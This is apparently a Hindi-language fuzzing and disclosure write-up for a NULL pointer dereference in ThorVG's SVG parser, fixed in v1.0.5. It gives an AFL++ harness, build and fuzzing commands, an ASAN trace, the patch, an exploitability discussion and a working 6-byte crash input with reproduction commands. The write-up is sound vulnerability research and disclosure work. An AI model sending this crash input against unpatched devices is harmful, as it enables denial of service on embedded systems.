
ThorVG NULL पॉइंटर डीरेफ़रेंस दोषपूर्ण SVG के माध्यम से — AFL++ फ़ज़िंग राइटअप
गंभीरता: CVSS 4.3 (मध्यम) — CWE-476
एडवाइजरी: GHSA-f863-8ghq-7h64
फिक्स: ThorVG v1.0.5
स्थिति: पैच किया गया / खुलासा किया गया
ThorVG का SVG पार्सर एक ऐसे पॉइंटर को डीरेफरेंस करता है जो कभी इनिशियलाइज़ नहीं किया गया है, जब उसे रूट <svg> नोड के अंदर एक छोटा/कटा हुआ चाइल्ड एलिमेंट टैग मिलता है। यह बग सामान्य रेंडरिंग पथ (tvg::Picture::load → parse → render) के माध्यम से पहुंच योग्य है और इसे 6-बाइट इनपुट से ट्रिगर किया जा सकता है।
मानक Linux पर सबसे बुरा प्रभाव प्रोसेस क्रैश (DoS) है — mmap_min_addr NULL पेज को मैप होने से रोकता है, इसलिए उस वातावरण में यह फॉल्ट सीधे कोड निष्पादन के लिए शोषणीय नहीं है। MMU-रहित लक्ष्यों पर जहाँ ThorVG का उपयोग भी होता है (Tizen, LVGL-आधारित फ़र्मवेयर), शोषण क्षमता की तस्वीर अलग है और इस पर गहराई से विचार करने की आवश्यकता है।
ThorVG C++17 में लिखा गया एक क्रॉस-प्लेटफ़ॉर्म वेक्टर ग्राफ़िक्स इंजन है। यह Samsung Tizen OS में डिफ़ॉल्ट SVG/Lottie रेंडरर है, LVGL में बंडल है (जो एम्बेडेड/IoT UI में व्यापक रूप से उपयोग होता है), और कई प्लेटफ़ॉर्म पर एक स्टैंडअलोन लाइब्रेरी के रूप में वितरित किया जाता है।
लाइब्रेरी अविश्वसनीय SVG/JSON इनपुट संसाधित करती है और अक्सर बिना विशेषाधिकार पृथक्करण (privilege separation) वाले संदर्भों में खुली रहती है। ग्राफ़िक्स लाइब्रेरीज़ में पार्सर कोड ऐतिहासिक रूप से मेमोरी सुरक्षा बगों का एक विश्वसनीय स्रोत रहा है — ThorVG सक्रिय रूप से विकसित हो रहा है और इस शोध के समय सार्वजनिक बग ट्रैकर्स में इसकी कोई दर्ज फ़ज़िंग कवरेज नहीं थी।
हार्नेस ThorVG के इन-मेमोरी लोड API को लपेटता है ताकि AFL++ पार्सर को सीधे डिस्क I/O के बिना चला सके।
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
ASAN और कवरेज इंस्ट्रूमेंटेशन के साथ बिल्ड करें:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
रैंडम बाइट्स के साथ शुरुआत करना फ़ॉर्मेट-संवेदी पार्सरों पर खराब प्रदर्शन करता है। मैंने कॉर्पस को संरचनात्मक रूप से मान्य न्यूनतम SVG फ़ाइलों के सेट के साथ सीड किया, जो कवर करते हैं:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> समूह वाला SVG<use> xlink संदर्भ वाला SVGसंरचना-जागरूक सीड ने मेरे वातावरण में पहले दिलचस्प पथों तक पहुँचने का समय घंटों से कम करके 20 मिनट से भी कम कर दिया।
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — AFL++ टोकन डिक्शनरी जिसमें SVG कीवर्ड हैं, ताकि वैध टैग नामों की ओर म्यूटेशन में मदद मिले।
-m none — ASAN शैडो मेमोरी के लिए AFL++ की मेमोरी सीमा अक्षम करना आवश्यक है।
AFL++ ने लगभग 3 घंटे के सिंगल-कोर फ़ज़िंग के बाद एक क्रैश उत्पन्न किया। प्रारंभिक क्रैश करने वाला इनपुट लगभग 180 बाइट्स का था। ASAN आउटपुट:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
फॉल्ट _parseStyle के अंदर एक अनइनिशियलाइज़्ड (NULL) SvgNode* पॉइंटर के माध्यम से रीड है। पॉइंटर को _createElement द्वारा सेट किए जाने की उम्मीद होती है जब वह चाइल्ड एलिमेंट को संसाधित करता है, लेकिन एक छोटा/कटा हुआ टैग नाम एलिमेंट को स्किप करा देता है जबकि पॉइंटर असाइन नहीं होता, और _parseStyle उसे बिना जाँचे डीरेफरेंस करता है।
afl-tmin के साथ न्यूनीकरण, फिर मैन्युअल प्रूनिंग:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
afl-tmin के बाद इनपुट 14 बाइट्स का था। पार्स पथ के मैन्युअल निरीक्षण से पता चला कि फॉल्ट से पहले केवल पहले 6 बाइट्स की खपत हुई:
<svg><
<svg> रूट नोड खोलता है। < एक चाइल्ड एलिमेंट टैग शुरू करता है। पार्सर टैग नाम पढ़ता है, एक खाली स्ट्रिंग प्राप्त करता है (इनपुट < के तुरंत बाद समाप्त हो जाता है), एलिमेंट निर्माण को स्किप करता है, और नोड पॉइंटर के NULL रहते हुए _parseStyle में चला जाता है।
पुष्टि करें कि 6-बाइट ट्रिगर दोबारा प्रस्तुत होता है:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
वल्नरेबल प्रवाह का सरलीकृत स्यूडोकोड:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
v1.0.5 में फिक्स एलिमेंट डिस्पैच लूप में एक प्रारंभिक return जोड़ता है जब _createElement nullptr लौटाता है, किसी भी एट्रिब्यूट/स्टाइल प्रोसेसिंग का प्रयास करने से पहले।
आधुनिक डिस्ट्रोस पर /proc/sys/vm/mmap_min_addr सामान्यतः 65536 पर सेट होता है। NULL पेज मैप नहीं होता, इसलिए CPU SIGSEGV उठाता है जिसे कर्नेल प्रोसेस को सिग्नल में बदल देता है — परिणाम एक क्रैश (DoS) है। कोई नियंत्रित लेखन नहीं, PC नियंत्रण नहीं, सीधे कोड निष्पादन के लिए शोषणीय नहीं।
ThorVG Tizen (सैमसंग IoT/पहनने योग्य OS) में प्रथम श्रेणी का नागरिक है और LVGL में एकीकृत है, जो माइक्रोकंट्रोलर और MMU के बिना सिस्टम पर चलता है।
MMU-रहित सिस्टम पर कोई मेमोरी सुरक्षा नहीं होती और mmap_min_addr लागू नहीं होता। यदि NULL पेज मैप किया गया है (जो बेयर-मेटल एम्बेडेड वातावरण में आम है), तो NULL पॉइंटर डीरेफरेंस संभावित रूप से हमलावर-नियंत्रित मेमोरी की ओर इशारा कर सकता है। वास्तविक हमले में यह पहुँच योग्य है या नहीं, यह अटैक सतह पर निर्भर करता है — Tizen डिवाइस पर ThorVG अविश्वसनीय नेटवर्क स्रोतों या उपयोगकर्ता-आपूर्ति सामग्री से SVG पार्स कर सकता है।
यह संदर्भ ही जिम्मेदार खुलासे को सही ठहराता है, भले ही यह CVSS Medium की खोज हो।
पैच SVG एलिमेंट डिस्पैच लूप में NULL गार्ड जोड़ता है:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
पूरा डिफ: ThorVG v1.0.5 रिलीज़
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
अपेक्षित आउटपुट: tvg::SvgParser::_parseStyle में SEGV on unknown address 0x000000000000 के साथ ASAN रिपोर्ट।
यह खोज yeahbbean (이예빈) द्वारा AFL++ कवरेज-निर्देशित फ़ज़िंग और संरचना-जागरूक SVG सीड कॉर्पस के माध्यम से की गई।
| दिनांक | घटना |
|---|
| 2026-xx-xx | AFL++ के माध्यम से क्रैश की खोज हुई |
| 2026-xx-xx | ASAN के अंतर्गत मूल कारण की पुष्टि; 6-बाइट POC तैयार |
| 2026-xx-xx | GitHub Security Advisory के माध्यम से ThorVG अनुरक्षक (hermet) को निजी रिपोर्ट भेजी गई |
| 2026-xx-xx | अनुरक्षक ने पावती दी और निजी फोर्क खोला |
| 2026-xx-xx | पैच v1.0.5 में विलय किया गया |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 प्रकाशित; CVE-2026-45729 निर्दिष्ट किया गया |